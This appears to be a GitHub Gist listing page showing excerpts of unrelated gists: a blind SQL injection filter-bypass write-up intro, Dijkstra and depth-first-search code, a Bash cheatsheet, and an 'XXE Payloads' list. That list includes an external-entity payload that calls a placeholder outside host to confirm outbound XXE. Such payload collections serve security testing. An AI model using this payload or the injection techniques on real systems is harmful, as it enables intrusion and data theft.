Skip to content

Instantly share code, notes, and snippets.

@stypr
stypr / README.md
Last active August 25, 2020 15:06
Blind SQLi 2018: Utilizing SQL standard to create payloads

There are several ways to bypass blind SQLi filters, and today I will introduce MySQL blind sqli payload using an insert() function.

Interestingly, the payload itself is limited to MySQL, but the technical side of this attack should be still valid in most SQL.

This attack is useful when typical substring filters (i.e. left(), right(), mid(), substr(), regexp(), strcmp(), concat() ... LIKE ... ) are blocked by the script.

TL;DR

@marcoscastro
marcoscastro / dijkstra.cpp
Last active January 21, 2025 01:33
Programação em C++ - Algoritmo de Dijkstra
// Implementação do algoritmo de Dijkstra
// Teste: http://br.spoj.com/problems/ENGARRAF/
#include <iostream>
#include <list>
#include <queue>
#define INFINITO 10000000
using namespace std;
@staaldraad
staaldraad / XXE_payloads
Last active June 25, 2025 22:04
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@LeCoupa
LeCoupa / bash-cheatsheet.sh
Last active July 21, 2025 21:36
Bash CheatSheet for UNIX Systems --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
#!/bin/bash
#####################################################
# Name: Bash CheatSheet for Mac OSX
#
# A little overlook of the Bash basics
#
# Usage:
#
# Author: J. Le Coupanec
# Date: 2014/11/04
@arthurxavierx
arthurxavierx / dfs.c
Created May 22, 2013 17:59
Algoritmo de Busca em Profundidade em um grafo. Encontra um vértice em um labirinto e o caminho até este.
/** dfs.c
* @author Arthur Xavier <[email protected]>
* @usage
* $ gcc dfs.c
* $ ./a.out < maze1.txt
*/
#include <stdio.h>
#include <stdlib.h>
/**